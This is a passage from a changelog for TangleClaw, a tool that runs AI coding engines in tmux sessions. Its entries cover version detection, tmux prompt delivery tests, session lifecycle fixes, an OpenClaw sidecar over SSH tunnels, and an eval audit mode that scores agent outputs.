- **Document project version convention (#55, chunk 3)** — Added "Project Version Recording" section to CLAUDE.md global rules documenting the `.tangleclaw/project-version.txt` convention: file format, when to write (session start + wrap), detection order, and how TangleClaw reads it. Doc parity sweep confirmed no stale references in README or user-guide — existing "version badge" references are generic and still accurate. Completes #55.
- **Session-lifecycle version recording (#55, chunk 2)** — The engine-agnostic prime prompt now includes a "Project Version Recording" section instructing the AI to detect the project's current version at session start and write it to `.tangleclaw/project-version.txt`. The wrap protocol also includes a re-record step so the version is updated if it changed during the session (e.g., CHANGELOG bump or git tag). Both injections are methodology-agnostic — they apply to every methodology (prawduct, minimal, custom). This completes the write side of the version detection chain from chunk 1: the AI now populates the cache file that `enrichProject()` reads as its highest-priority source. 5 new tests (prime prompt section presence for both methodologies, wrap command version instruction for both methodologies, custom-command wrap branch coverage — added after Independent Critic review). 1424 total tests passing.
- **Harden #55 chunk 1 detection helpers (Critic follow-ups)** — Post-merge Independent Critic review of PR #57 surfaced several edge cases. All addressed: (1) UTF-8 BOM now stripped at the read boundary via a new `_readTextFileNoBom()` helper so files exported from Windows or certain editors don't break anchored regexes or `JSON.parse`; (2) CRLF line endings normalized to LF in the same helper so per-line regexes don't have to account for trailing `\r`; (3) `_readVersionJsonVersion` and `_readPackageJsonVersion` now require `typeof data.version === 'string'` AND a non-empty trimmed value, defensively rejecting `{"version": 123}`, `{"version": {}}`, and whitespace-only strings; (4) `_readVersionCacheFile` rejects whitespace-only version values (`version:    ` now correctly falls through to the next layer); (5) JSDoc drift fixed — cache file comment now says "Will be written" instead of implying a writer that doesn't exist yet; (6) redundant trailing `|| null` removed from the detection chain (dead code). 11 new tests covering BOM handling (all 4 readers), CRLF, non-string version field (number and object), missing/malformed version.json, whitespace-only cache value, and a dedicated layer-4 symmetry test. Live smoke-tested on the running server — Notse still returns `0.3.0` from CHANGELOG after the refactor. 1419 total tests passing.
- **Universal project version detection chain (#55, chunk 1)** — `enrichProject()` now detects the project's current version using a layered fallback chain instead of only reading root `package.json`. Order: (1) `.tangleclaw/project-version.txt` cache file (AI-recorded, highest priority — will be written by the session-lifecycle hook in chunk 2), (2) `CHANGELOG.md` first non-`[Unreleased]` version header (Keep-a-Changelog format), (3) `version.json` at root (TangleClaw convention), (4) `package.json` at root (existing logic, now layer 4), (5) `null`. Five new helper functions exposed on `projects` for unit testing: `_detectProjectVersion`, `_readVersionCacheFile`, `_readChangelogVersion`, `_readVersionJsonVersion`, `_readPackageJsonVersion`. CHANGELOG regex enforces version shape (`^v?\d+\.\d+`) so date-style headers like `## [2026-03-31]` are correctly rejected (some projects use date headers that would otherwise leak in as fake versions). Live impact on current projects: Notse now shows `0.3.0`, TangleClaw-v3 shows `3.12.7`, and projects with both CHANGELOG and package.json (OnDeck-V2, ScrapeGoat) now correctly prefer the more recent CHANGELOG entry. 14 new tests.
- **`tmux.js` regression-prevention test coverage** — `lib/tmux.js` previously had only structural tests (validation, error cases, history-limit). Added behavioral tests for the functions that physically deliver prompts to engines, where regressions silently break user experience: `sendKeys()` round-trip via real tmux sessions (text delivery, `enter:false` behavior, single-quote preservation, special shell characters `$` `` ` `` `\`, large >4KB multi-line payloads — covers the original 3.11.0 regression that motivated #23), `sendRawKey()` (behavioral Enter delivery + missing-session error case), and `killSession()` success path (return value + session removal); 9 new tests, 40 total in `test/tmux.test.js` (closes #23)

### Changed

- **Slimmer UI chrome across all pages** — Reduced vertical space consumed by headers, toolbars, and action buttons across the session banner, OpenClaw wrapper, and landing page; banner buttons shrunk from 44px to 30px (26px on desktop), back button from 44px to 32px, landing `.btn` from 44px to 32px, dash-bar and toolbar padding tightened, card rows from 44px to 34px min-height, logo and font sizes reduced proportionally; no functionality removed — same controls, just denser (fixes #51)

### Fixed

- **Session banner shows TangleClaw version instead of project version** — `loadVersion()` was fetching `/api/version` (TangleClaw's own version); now reads the project's `version` field from `enrichProject()`, which parses the project's `package.json`; projects without a `package.json` or version field show no version badge; 4 new tests (fixes #53)
- **Tmux status bar shows raw session internals** — Status bar previously showed bare `#{session_name}` (e.g. `TangleClaw-v3`) which was easily confused with the project name; now shows literal `TangleClaw` label on the left and `HH:MM  YYYY-MM-DD` on the right; canonical config moved to `deploy/tmux.conf` and installed to `~/.tmux.conf` by `deploy/install.sh` with backup of any existing file; install.sh also reloads tmux config in any running server so existing sessions update without restart; per-session `set-option` calls in `lib/tmux.js` updated to match (covers systems where the global config differs); 6-digit hex required by tmux 3.6+ (`#777` → `#777777`, `#333` → `#333333`); 2 new tests (fixes #53)

- **Status pill misses short incidents** — `_parseAtlassian()` only checked component status, which can revert to `operational` before the next poll; now also parses the `incidents[]` array from the Atlassian summary response and checks for unresolved incidents affecting the target component; uses the worse of component status vs. active incident impact; new `_parseAtlassianIncidents()` and `_incidentAffectsComponent()` helpers with component matching by ID and name; 10 new tests

## [3.12.7] - 2026-04-05

### Fixed

- **Orphan bare shell after session ends** — `ttyd-attach.sh` used `tmux new-session -A` which silently creates a new bare shell when the engine session is gone (wrap, kill, or crash); the orphan shell had no working directory (cwd `/`), inherited ttyd's restrictive launchd resource limits (`NumberOfFiles: 4096`), triggered `.zshrc` ulimit errors, and confused TangleClaw's `hasSession()` state tracking; replaced with `tmux has-session` guard + `tmux attach-session` so the script only attaches to existing sessions and shows a "session not running" message when the session is gone; 4 new tests (fixes #47)
- **Session launch feels frozen for ~6 seconds** — `launchSession()` blocked the API response while doing synchronous sleeps for `preKeyDelay` (3s), preKeys (1s), and `startupDelay` (2s); moved preKey and prime prompt injection to background timers via `_deferEngineInit()` so the API returns immediately after creating the tmux session; frontend launch button now shows "Launching…" with disabled state for instant visual feedback; user sees the terminal loading while the engine boots in the background
- **Codex sessions crash immediately on launch** — live engine profiles at `~/.tangleclaw/engines/` were never updated when bundled profiles gained new fields (e.g. `preKeys`, `preKeyDelay`, `startupDelay`); without `preKeys` the trust dialog wasn't dismissed, so the prime prompt injection selected "No, quit" and Codex exited; `_copyBundledFiles()` now deep-merges missing fields from bundled profiles into existing ones without overwriting user customizations; 4 new tests (fixes #47)

## [3.12.6] - 2026-04-05

### Fixed

- **Peek not working for alternate-screen engines (Codex, etc.)** — TUI-based engines like Codex run in tmux's alternate screen buffer, which has no scrollback history; `capture-pane -S - -E -` could fail or return empty content for these panes; `capturePane()` now detects alternate screen mode via `#{alternate_on}` and falls back to visible-only capture; new `isAlternateScreen()` helper in `tmux.js`; peek API response includes `alternateScreen` flag; frontend shows informational notice when peek content is screen-only (no scrollback); 4 new tests (fixes #44)

## [3.12.5] - 2026-04-05

### Added

- **Project archive/unarchive** — Projects can be archived (deactivated) from the landing page; archived projects are skipped by `syncAllProjects()` on boot, hidden from the main project list, and blocked from session launch; archived projects appear in a collapsed section at the bottom of the landing page with an "Unarchive" button; new API endpoints `POST /api/projects/:name/archive` and `POST /api/projects/:name/unarchive`; `store.projects.unarchive()` added; `listAllProjects()` excludes archived projects from the unregistered filesystem scan; 10 new tests (fixes #42)
- **Attach confirmation dialog** — Clicking "Attach" on an unregistered project card now shows a confirmation modal explaining what will happen (scaffold config, generate engine files, sync on boot) before registering the project; prevents accidental project registration

### Fixed

- **Session launch blocked for archived projects** — `launchSession()` now returns an error if the project is archived, with a message to unarchive first

## [3.12.4] - 2026-04-04

### Changed

- **Slim session prime prompt** — Removed full methodology playbook from the prime prompt injected into the terminal at session start; the playbook is already in the engine config (CLAUDE.md) which the AI reads automatically; prime prompt now shows only: session header, methodology name, current phase, last session summary, active learnings, and extension rules — reducing terminal output from ~50+ lines to ~10-15 lines (fixes #40)

## [3.12.3] - 2026-04-04

### Fixed

- **Wrap button completes wrap but doesn't kill session or clear banner** — Wrap completion relied solely on idle detection (3 consecutive polls with stable terminal output), which could fail silently if captured output fluctuated; added server-side wrap timeout (120s) that force-completes wrapping sessions via `getSessionStatus`; added frontend fallback timeout (120s) in `showWrappingState()`; guarded `completeWrapFromIdle()` against re-entry with `wrapCompleting` flag; all timeouts cleaned up in `handleWrapCompleted` and `handleSessionEnded`; 6 new tests (fixes #28)

## [3.12.2] - 2026-04-04

### Added

- **Session Memory** — File-based, per-project memory system that persists context across AI sessions; `.tangleclaw/memories/MEMORY.md` created automatically on project init; session memory guide injected into all engine configs (Claude, Codex, Aider, Gemini) telling the AI to read and update memory files; engine-agnostic — works with any AI that can read files and follow instructions; 4 new tests (fixes #36)
- **Startup project sync** — `syncAllProjects()` runs on every server boot: regenerates all engine configs and backfills scaffolding (like `.tangleclaw/memories/`) for existing projects; ensures code changes (new guides, updated rules) are reflected immediately across all projects without waiting for session relaunch; 3 new tests

## [3.12.1] - 2026-04-04

### Added

- **Peek search** — Search bar in peek drawer with live case-insensitive matching, match highlighting (`<mark>` spans), next/prev navigation (buttons + Enter/Shift+Enter), match counter ("3 of 42"), Cmd/Ctrl+F keyboard shortcut when peek is open, Escape to close; performance-guarded rendering limits DOM highlights to 1000 around the active match for large buffers; 4 new tests

### Fixed

- **Session wrap notes not picked up by next session** — Added "Session Start" section to Prawduct playbook instructing agents to glob for all `build-plan*.md` files (not just `build-plan.md`) and surface incomplete chunks; updated wrap instructions to specify updating build plan files with ✅/⬜ markers as the handoff mechanism; 2 new regression tests (fixes #33)

## [3.12.0] - 2026-04-04

### Added

- **Full scrollback peek** — Peek drawer now shows the entire terminal scrollback history instead of the last 50 lines; tmux sessions are created with `history-limit 50000`; `capturePane()` supports `full: true` for full buffer capture (`-S - -E -`); peek API accepts `full=true` query param; frontend strips ANSI escape codes, auto-scrolls to bottom, supports sticky scroll (unlocks on scroll-up, re-locks at bottom), and has Jump to Top/Bottom buttons (fixes #26)

### Fixed

- **Light mode only changes splash screen, not terminal shell** — `applyTheme()` in `session.js` now propagates theme colors to the xterm.js terminal instance inside the ttyd iframe via `term.options.theme`; added xterm theme palettes for dark, light, and high-contrast modes; terminal theme is applied on iframe load (with retry for async xterm init) and on theme change; `.terminal-frame` background changed from hardcoded `#000` to `var(--bg)` (fixes #30)

## [3.11.5] - 2026-04-03

### Fixed

- **Prime prompt pastes but doesn't submit on session start** — `sendKeys()` now uses tmux `load-buffer`/`paste-buffer` for reliable delivery of large text (properly triggers bracketed paste mode), with a 500ms delay before sending Enter to let the terminal process the paste; the previous `send-keys -l` approach sent characters too fast for Claude Code to process before Enter arrived

## [3.11.4] - 2026-04-03

### Fixed

- **Kill button shows generic "Check password" instead of actual error** — session view's `confirmKill()` used `apiMutate()` which swallowed server error messages and showed a hardcoded string; now uses direct `fetch` (matching the landing page pattern) to display the actual error from the server (e.g. "Password required" vs "Incorrect password")

## [3.11.3] - 2026-04-03

### Fixed

- **Methodology playbook missing from engine config files** — `_generateClaudeMd`, `_generateCodexYaml`, `_generateAiderConf`, and `_generateGeminiMd` now inject the full playbook content (not just methodology name and description), matching what `generatePrimePrompt()` already does
- **Bundled template sync skips new files in existing directories** — `_copyBundledTemplates()` now syncs missing files into existing template directories instead of skipping the entire directory; this fixes the case where `playbook.md` was added to bundled templates but never copied to installations that already had the template directory
- **`getPlaybook()` falls back to bundled templates** — if a playbook is missing from the user's `~/.tangleclaw/templates/` directory, it now checks the bundled `data/templates/` directory as a fallback, ensuring playbook injection works reliably even before the sync runs
- 7 new tests: playbook injection for Claude/Gemini/Codex/Aider generators and cross-engine parity

## [3.11.2] - 2026-04-02

### Fixed

- **Polling burst storm on tab refocus crashes system** — replaced all `setInterval` polling in `session.js`, `openclaw-view.js`, and `landing.js` with `setTimeout` chains that don't queue callbacks when browser tabs are backgrounded; added `visibilitychange` listener to pause/resume session page polling when tabs are hidden/shown. Previously, backgrounding a session tab for ~60s caused ~35 queued interval callbacks to fire simultaneously on refocus, hammering the server with rapid tmux shell commands and overwhelming the system (fixes #19)

## [3.11.1] - 2026-04-02

### Fixed

- **Prime prompt no longer fires before Claude engine is ready** — added explicit `startupDelay: 2000` to Claude engine profile, bumped default fallback from 500ms to 1500ms (fixes #17)

## [3.11.0] - 2026-04-02

### Added

- **Methodology playbook injection in prime prompt** — `generatePrimePrompt()` now reads and injects `playbook.md` from methodology template directories, giving engines full operational procedures instead of just the methodology name and phase labels (fixes #14)
- **Extension rule definitions in prime prompt** — `defaultRules` in `template.json` now supports object form with `enabled` and `definition` fields; active rules are rendered with their definitions in the prime prompt
- **Prawduct playbook** — new `data/templates/prawduct/playbook.md` covering session discipline (one chunk per session), phase procedures (Discovery/Planning/Building), Independent Critic review protocol, Janitor Pass, and Decision Framework
- **Prawduct rule definitions** — `independentCritic`, `docsParity`, and `decisionFramework` now include concrete definitions explaining what each rule requires in practice
- 7 new tests: store `getPlaybook` (3), prime prompt playbook injection (2), rule definitions (2)

## [3.10.2] - 2026-04-02

### Fixed

- **Select button now works for projects with spaces/special characters in name** — mouse toggle API endpoints now normalize project names via `toSessionName()` before passing to tmux, matching the sanitized tmux session name (e.g., "TiLT v2" → "TiLT-v2") (fixes #12)

## [3.10.1] - 2026-03-31

### Fixed

- **Main page banner now stays fixed while content scrolls** — matches behavior of session and OpenClaw pages (body flex layout + scrollable content wrapper)

## [3.10.0] - 2026-03-30

### Changed

- **Unbundle Prawduct tools — methodology is now a separate install**
  - Removed bundled `tools/product-hook`, `tools/prawduct-setup.py`, `tools/prawduct-init.py`, `tools/prawduct-sync.py`, `tools/prawduct-migrate.py` — Prawduct is now installed separately from [brookstalley/prawduct](https://github.com/brookstalley/prawduct)
  - Updated `template.json` hooks from `{{TANGLECLAW_DIR}}/tools/product-hook` to `$CLAUDE_PROJECT_DIR/tools/product-hook` — matches Prawduct v1.3.0 native hook resolution
  - Removed `SessionEnd` hook (removed upstream in Prawduct v1.2.3 — it dirtied the repo after commit)
  - Added `statusMessage` fields to hooks (Prawduct v1.3.0 convention)
  - TangleClaw detects and orchestrates Prawduct projects; Prawduct owns its own tools
  - 1 new test (1313 → 1314): `$CLAUDE_PROJECT_DIR` passthrough verification

- **Critic review fixes for public release**
  - Replaced personal infrastructure values (IPs, hostnames, SSH keys) with generic placeholders across docs, HTML, and 9 test files
  - Added macOS-only platform requirement to README header and prerequisites
  - Moved Prerequisites before Quick Start for better onboarding flow
  - Removed BitchBoard from roadmap (separate project), added Linux support to roadmap
  - Clarified Genesis engine as "persistent agent placeholder"
  - Removed methodology-extractions/ from published files (internal research notes)
  - Cleaned eval-audit-mode.md build metadata and TODO section
  - Renamed OPENCLAW-SETUP.md → openclaw-setup.md for consistent naming
  - Fixed port number documentation (clarified code defaults vs launchd overrides)
  - Replaced "habitat infra" examples with generic "backend services" across docs

- **Documentation overhaul for public release**
  - README: updated project structure (added 8 missing lib/ files, OpenClaw viewer, setup.js; removed bundled tools/), updated architecture diagram with SSH tunnels and OpenClaw proxy, added Sidecar and Eval Audit to features, added Prawduct as optional prerequisite with repo link, added BitchBoard and Sidecar controls to roadmap, removed "private repository" notice, added Eval Audit Mode to docs index
  - User Guide: fixed clone URL to `github.com/Jason-Vaughan/TangleClaw`, fixed all port references (3101→3102 for server, 3100→3101 for ttyd)
  - Methodology Guide: added [Prawduct](https://github.com/brookstalley/prawduct) repo link, documented separate install model, added hooks documentation with `$CLAUDE_PROJECT_DIR` resolution
  - Engine Guide: added OpenClaw engine section (SSH and Web UI modes, connection registry, sidecar), updated engine count to six
  - Configuration Reference: updated schema version 2→12, added 7 missing tables, expanded API from 29→62 endpoints organized by category (core, projects, sessions, ports, groups, shared docs, OpenClaw, sidecar, eval audit), added HTTPS config fields
  - OpenClaw Setup: updated version requirement to v3.10.0+, added Bridge Port/Token fields, added Sidecar section
  - Prawduct extraction doc: updated to reference external repo, removed local path references

## [3.9.5] - 2026-03-30

### Added

- **Sidecar bridge integration: direct ClawBridge polling**
  - Schema v11: added `bridge_port` column to `openclaw_connections` (default 3201)
  - Updated `_rowToConnection()`, `create()`, `update()` to handle `bridgePort` field
  - Sidecar `pollProcesses()` now polls `bridgePort` instead of `localPort` — hits ClawBridge directly instead of the OpenClaw gateway
  - Tunnel manager `ensureTunnel()` accepts `extraForwards` array — SSH tunnel now forwards both gateway port (18789) and bridge port (3201) in a single connection
  - Updated `launchWebuiSession()` and direct-connect tunnel route to pass bridge port as extra forward
  - Bridge Port field added to connection modal in UI (`index.html`, `ui.js`)
  - **ClawBridge side** (RentalClaw-Project): added `GET /api/processes` endpoint to `bridge/server.js` — returns active and recently completed background runs with process registry tracking
  - 2 new tests (1311 → 1313): bridgePort update (1), schema migration bridge_port column (1); plus bridgePort assertions added to existing create tests and 4 schema version assertions updated to v11

## [3.9.4] - 2026-03-30

### Added

- **Sidecar: Chunk 5 — Pills + detail panel in OpenClaw viewer**
  - Sidecar pills container in `openclaw-view.html` banner (between banner-row and terminal viewport)
  - Sidecar detail panel markup: backdrop, aside panel, nav bar, detail container, refresh/close buttons
  - `openclaw-view.js` — full sidecar UI wired to connection-based API:
    - `pollSidecarProcesses()` — polls `GET /api/sidecar/connection/:connId/processes` every 10s after tunnel is up
    - `renderSidecarPills(processes, stale)` — status-colored pills with dot, label, elapsed time
    - `openSidecarPanel(processId)` / `closeSidecarPanel()` — slide-in detail panel with backdrop
    - `renderSidecarDetail()` — full process detail: status badge, type, project, workDir, timestamps, duration, exit code, signal, attention flags, last output snippet
    - `autoSelectProcess(processes)` — selects first attention-needing, then first active, then first process
    - `formatElapsed(startedAt, completedAt)` / `formatTimestamp(iso)` — time display helpers
    - `sidecarStatusClass(proc)` — maps status to pill CSS class
    - `sidecarField(label, valueHtml)` / `escapeHtml(str)` — rendering helpers
    - `initSidecar()` — wires close, backdrop, refresh, pill click, and nav click event listeners
    - `startSidecarPolling()` / `stopSidecarPolling()` — polling lifecycle
  - Process nav bar for switching between multiple processes
  - Pill click opens detail panel for that process
  - Panel auto-updates on each poll cycle when open
  - All CSS reused from shared `session.css` — no new styles
  - 27 new tests (1284 → 1311): HTML structure (8), JS functions (16), connection-based polling API (3)

## [3.9.3] - 2026-03-30

### Changed

- **Sidecar: Chunk 4 — Strip from session page, add connection-based API**
  - Removed all sidecar code from `session.js` and `session.html` — sidecar is for OpenClaw direct-connect sessions only, not project sessions
  - Removed: `isOpenClawProject()`, `pollSidecarProcesses()`, `sidecarStatusClass()`, `formatElapsed()`, `renderSidecarPills()`, `startSidecarPolling()`, `stopSidecarPolling()`, sidecar detail panel functions, sidecar pills container, sidecar panel markup
  - Kept: all sidecar CSS in `session.css` (shared with `openclaw-view.html`), webui banner scroll fix
  - Added `getProcessesByConnection(connId)` to `lib/sidecar.js` — direct connection lookup without project resolution
  - Added `GET /api/sidecar/connection/:connId/processes` API route — polls by connection ID for direct-connect sessions
  - Updated `syncPolling()` to also start polling for connections with active tunnels (`oc-direct-*`), not just project engine sessions
  - Tests updated: 1304 → 1284 (removed 52 misplaced session-page assertions, added 32 for connection-based API + absence checks)

## [3.9.2] - 2026-03-29

### Added

- **Sidecar: OpenClaw Process Visibility — Chunk 3: Detail Panel**
  - Sidecar detail panel (slide-in drawer from bottom, mirrors peek drawer pattern)
  - `openSidecarPanel(processId)` / `closeSidecarPanel()` — open/close with backdrop
  - `autoSelectProcess()` — selects first attention-needing, then first active, then first process
  - `renderSidecarDetail()` — renders full process detail: status badge, type, project, workDir, timestamps, duration, exit code, signal
  - `formatTimestamp(iso)` — formats ISO timestamps for display
  - `sidecarField(label, valueHtml)` — builds detail field rows
  - Process nav bar when multiple processes — clickable buttons with status dots
  - Attention flags: "Waiting for Input", "Suspected Stalled", "Needs Attention" pills
  - Last output snippet in monospace pre block (auto-refreshes on poll)
  - Pill click handler: clicking a sidecar pill opens the detail panel for that process
  - Refresh button: manual re-poll and re-render
  - `pollSidecarProcesses()` now caches processes and auto-updates panel when open
  - CSS: `.sidecar-panel`, `.sidecar-panel-header`, `.sidecar-detail`, `.sidecar-nav`, `.sidecar-field`, `.sidecar-status-badge--*`, `.sidecar-flags`, `.sidecar-output`, clickable pill cursor
  - 29 new tests (1275 → 1304): HTML structure (5), CSS styles (9), JS functions (15)

### Fixed

- **OpenClaw webui session layout** — terminal viewport iframe now uses `position: absolute; inset: 0` with `overflow: hidden` on viewport container, preventing the banner from scrolling off-screen when OpenClaw UI content is taller than the viewport

## [3.9.1] - 2026-03-29

### Added

- **Sidecar: OpenClaw Process Visibility — Chunk 2: Frontend Process Pills**
  - `sidecarPills` container in session header between banner-row and banner-actions
  - `pollSidecarProcesses()` — polls `/api/sidecar/:project/processes` every 10s for OpenClaw sessions
  - `isOpenClawProject()` — detects OpenClaw engine from project data
  - `sidecarStatusClass(proc)` — maps process status to pill color class (running=green, quiet=yellow, failed=red, completed=gray)
  - `formatElapsed(startedAt, completedAt)` — human-readable elapsed time (45s, 2m, 1h 3m)
  - `renderSidecarPills(processes, stale)` — renders status-colored pills with dot, label, elapsed time
  - `startSidecarPolling()` / `stopSidecarPolling()` — lifecycle management, auto-starts for OpenClaw sessions
  - Attention badge: amber count pill when processes have `needsAttention` flag
  - Stale data indicator when poll cache is outdated
  - `sidecar-pill--attention` pulse animation for processes needing attention
  - Sidecar polling stops on session end and wrap completion
  - CSS: `.sidecar-pills`, `.sidecar-pill`, `.sidecar-pill--running/quiet/completed/failed`, `.sidecar-pill--attention`, `.sidecar-attention-badge`, `.sidecar-stale-badge` with mobile responsive breakpoint
  - 23 new tests (1252 → 1275): HTML structure (3), CSS styles (10), JS functions (10)

## [3.9.0] - 2026-03-29

### Added

- **Sidecar: OpenClaw Process Visibility — Chunk 1: Backend Polling Infrastructure**
  - `lib/sidecar.js` — polls OpenClaw's `/api/processes` through SSH tunnel, caches state per connection
  - `pollProcesses(connectionId)` — fetches active/recent background processes from ClawBridge
  - `getProcesses(connectionId)` / `getProcessesForProject(projectName)` — returns cached state with stale detection
  - `startPolling()` / `stopPolling()` / `syncPolling()` — manages per-connection polling intervals (default 10s)
  - Graceful degradation: stale cache preserved on connection failure
  - `GET /api/sidecar/:project/processes` — API endpoint for frontend to consume process state
  - Auto-starts polling on server startup for OpenClaw connections with active sessions
  - 17 new tests (1235 → 1252): resolveConnectionId (3), getProcesses (4), getProcessesForProject (2), pollProcesses (3), polling lifecycle (3), syncPolling (2)

### Fixed

- **Prevent duplicate port leases for OpenClaw tunnels** — `ensureTunnel()` now checks for existing leases before registering, avoiding conflicts when both a project session and a direct-connect use the same tunnel port (e.g., RentalClaw + oc-direct on port 18789)
- **Import banner no longer flags OpenClaw tunnels** — `checkPortImports()` in the landing page now recognizes `oc-direct-*` lease names as belonging to known OpenClaw connections instead of showing them as unregistered projects

## [3.8.3] - 2026-03-27

### Fixed

- **Engine configs now use correct HTTPS protocol** — all generated engine configs (CLAUDE.md, GEMINI.md, Codex YAML, Aider conf) now emit `https://` when HTTPS is enabled instead of always using `http://`; fixes API calls failing with "empty reply from server" in projects like BiTCH

## [3.8.2] - 2026-03-24

### Added

- **PID file guard against duplicate server instances** — prevents multiple TangleClaw servers from running simultaneously
  - `lib/pidfile.js` — PID file management module: `check()` detects live instances (handles stale PID files from crashes), `write()` records PID on startup, `remove()` cleans up on shutdown
  - Startup guard in `server.js` — checks for existing instance before binding, exits with clear error message if duplicate detected
  - EADDRINUSE handler — gracefully exits instead of crashing if port is already bound (prevents launchd restart loops)
  - PID file cleaned up on graceful shutdown (SIGTERM/SIGINT) and on EADDRINUSE exit
  - Stale PID files from crashed processes are auto-cleaned on next startup
  - 11 new tests (1224 → 1235): write/readPid (3), check logic (4), remove (2), isProcessAlive (2)

## [3.8.1] - 2026-03-24

### Fixed

- **OpenClaw tunnel kill/cleanup from UI** — Stale SSH tunnels (e.g. from server restarts or crashed sessions) can now be detected and killed directly from the OpenClaw connection panel
  - `detectTunnel(localPort, host)` — finds SSH tunnel processes by port regardless of in-memory tracking (survives server restarts)
  - `killTunnelByPort(localPort, host)` — kills SSH tunnel by port, cleans up PortHub lease and in-memory tracking
  - `ensureTunnel()` now returns PID when tunnel is already up, re-tracks untracked tunnels in memory, and supports `force` option to auto-kill stale tunnels before spawning fresh ones
  - `GET /api/openclaw/connections/:id/tunnel` — tunnel status endpoint (active, connectable, PID, tracked)
  - `DELETE /api/openclaw/connections/:id/tunnel` — kills tunnel for a connection (tracked + port-based + project-scoped), marks associated webui sessions as killed
  - Connection cards show tunnel status badge with port and PID when active, with a "Kill Tunnel" button and confirmation dialog
  - Session launch returns 409 `TUNNEL_CONFLICT` with `staleTunnel` info when port is blocked by a stale tunnel (instead of generic 500)
  - `POST /api/sessions/:project` and `POST /api/openclaw/connections/:id/tunnel` accept `force: true` to auto-kill stale tunnels
  - Kill session modal text is now mode-aware ("tears down the SSH tunnel" for webui, "terminates the tmux session" for tmux)
  - CSS: `.oc-tunnel-status`, `.badge-tunnel-active`, `.oc-tunnel-detail` styles
  - 10 new tests (1214 → 1224): detectTunnel (2), killTunnelByPort (2), ensureTunnel force (1), _findSshPidByPort (1), API tunnel status/kill (4)

## [3.8.0] - 2026-03-24

### Added

- **Eval Audit Mode — Chunk 5: Bidirectional Scoring, Cost Cap, Retention, UI + Polish (Feature Complete)**
  - **Bidirectional (human-side) scoring** — `validateHumanScore()` validates 1-5 scale submissions; `POST /api/audit/:project/scores/:id/human` endpoint stores human score, comment, and timestamp on any score record. Schema v10 migration adds `human_score`, `human_comment`, `human_scored_at` columns to `eval_scores`
  - **Cost cap enforcement** — `checkCostCap()` checks accumulated session cost against `costCapPerSession` config (default $1.00/session). Ingest handler skips paid scoring tiers when cap exceeded, stores Tier 1 only (free), returns `reason: 'cost_cap_exceeded'`. `getSessionCost(sessionId)` store method aggregates cost across session exchanges
  - **Retention policy** — `runRetentionPolicy(store, retentionDays)` purges exchanges and cascading scores older than the configured window (default 90 days). `purgeOlderThan(cutoffDate)` store method deletes scores first (FK dependency) then exchanges. Runs automatically on server startup; manual trigger via `POST /api/audit/retention/run`
  - **evalDimensions validation** — `validateTemplate()` in `lib/methodologies.js` now validates `evalDimensions` field: schemaVersion required, tier1 checks must be `"pattern"` type with patterns array, tier2 entries need id+description, tier3 entries require `when` field from valid set (always, execution_task, disagreement, high_stakes, multi_user, implementation_task, code_change)
  - **Startup banner** — `generatePrimePrompt()` adds "Eval Audit Mode: Active" section when enabled, showing judge model, tiers, sampling config, cost cap, and open incident count. Gives the agent visibility that it's being evaluated
  - **Project card audit badge** — `enrichProject()` exposes `evalAudit: { enabled, openIncidents }`. Project cards show green "Audit" badge with incident count pill when audit is active
  - **Dashboard audit panel** — Expandable "Audit" panel in landing page header with incident count badge. Panel shows summary table per audit-enabled project: exchange count, scored count, anomalies, open incidents. Loads summaries on first open
  - CSS: `.badge-audit`, `.audit-dot`, `.badge-anomaly`, `.audit-panel`, `.audit-summary-table` styles
  - 28 new tests (1186 → 1214): human score store CRUD (2), session cost aggregation (2), retention purge (2), validateHumanScore (7), checkCostCap (3), runRetentionPolicy (2), evalDimensions validation (5), API endpoints (human score 3, retention 1, cost cap ingest 1)

### TODO

- **Manual integration testing of Eval Audit Mode (v3.4.0–v3.8.0)** — All 5 chunks have unit/API tests but need end-to-end verification against a live OpenClaw instance. See `build-plan-eval-audit.md` verification checklists (Phase 1 items 1-6, Phase 2 items 1-6) for the full test plan.

## [3.7.0] - 2026-03-24

### Added

- **Eval Audit Mode — Chunk 4: Baselines + Drift Detection + Incidents**
  - `eval_incidents` table (CREATE TABLE IF NOT EXISTS in schema v9) with project index. Store namespace `evalIncidents` with insert, get, list (filterable by status/type), update, and countByStatus methods
  - `computeBaseline(project, store, options)` — computes per-tier averages and standard deviations from historical scores within a configurable window (default 14 days). Stores baseline via `evalBaselines.insert()` with anomaly rate tracking
  - `detectDrift(project, store, options)` — compares recent daily score averages against latest baseline. Flags drift when 3+ consecutive days deviate >1σ from baseline on any tier. Returns per-tier drift details with direction, deviation amount, and baseline reference
  - `generateIncidents(project, store, options)` — orchestrates drift detection and anomaly spike detection. Creates typed incidents (`drift`, `anomaly_spike`) with severity levels (`warning` for >1σ, `critical` for >2σ). Deduplicates against existing open incidents to prevent duplicates on re-runs
  - `POST /api/audit/:project/baseline/recompute` endpoint — triggers baseline recomputation with optional window parameter
  - `GET /api/audit/:project/incidents` endpoint — lists incidents with optional status/type/limit filtering
  - `GET /api/audit/:project/incidents/:id` endpoint — fetches single incident with project ownership validation
  - `PUT /api/audit/:project/incidents/:id` endpoint — accept/dismiss workflow with status validation, auto-sets resolvedAt/resolvedBy
  - Debounced auto-incident generation in ingest handler — runs `generateIncidents()` max once per 60 seconds per project after async scoring pipeline completes
  - 24 new tests (1162 → 1186): store CRUD (8), computeBaseline (3), detectDrift (4), generateIncidents (3), API endpoints (6)

## [3.6.0] - 2026-03-24

### Added

- **Eval Audit Mode — Chunk 3: Tier 2.5 + Wrap Quality + Trends API**
  - Tier 2.5 thinking block analysis — LLM judge compares agent thinking vs output for reasoning-output alignment (0.0-1.0), sycophancy detection, and advocacy suppression. Skips when no thinking block is available. Integrates into scoring pipeline between Tier 2 and Tier 3
  - `buildTier2_5JudgePrompt()` — specialized system prompt for thinking-vs-output comparison (fixed task, no configurable dimensions)
  - `scoreTier2_5()` — async LLM judge call with same DI pattern as Tier 2/3, returns alignment score + sycophancy/suppression flags
  - Tier 2.5 gate cascade integration — sycophancy or advocacy suppression detected forces Tier 3 (same escalation as Tier 2 flag)
  - Session wrap quality scoring — `scoreWrapQuality()` pattern-matches session-end exchanges against methodology `wrap.steps` (version-bump, changelog-update, learnings-capture, next-session-prime, commit). Free structural check, no LLM call
  - `aggregateTrends()` — groups score records by day with per-day averages for all tiers, anomaly counts, and exchange counts. Supports configurable time windows (7d, 14d, 30d)
  - `GET /api/audit/:project/trends` endpoint — returns daily trend data points with window parameter
  - `GET /api/audit/:project/wrap-quality` endpoint — returns wrap quality scores for recent sessions with methodology-aware step checking
  - `evalExchanges.listSessions()` store method — distinct sessions by project with exchange counts and timestamp ranges
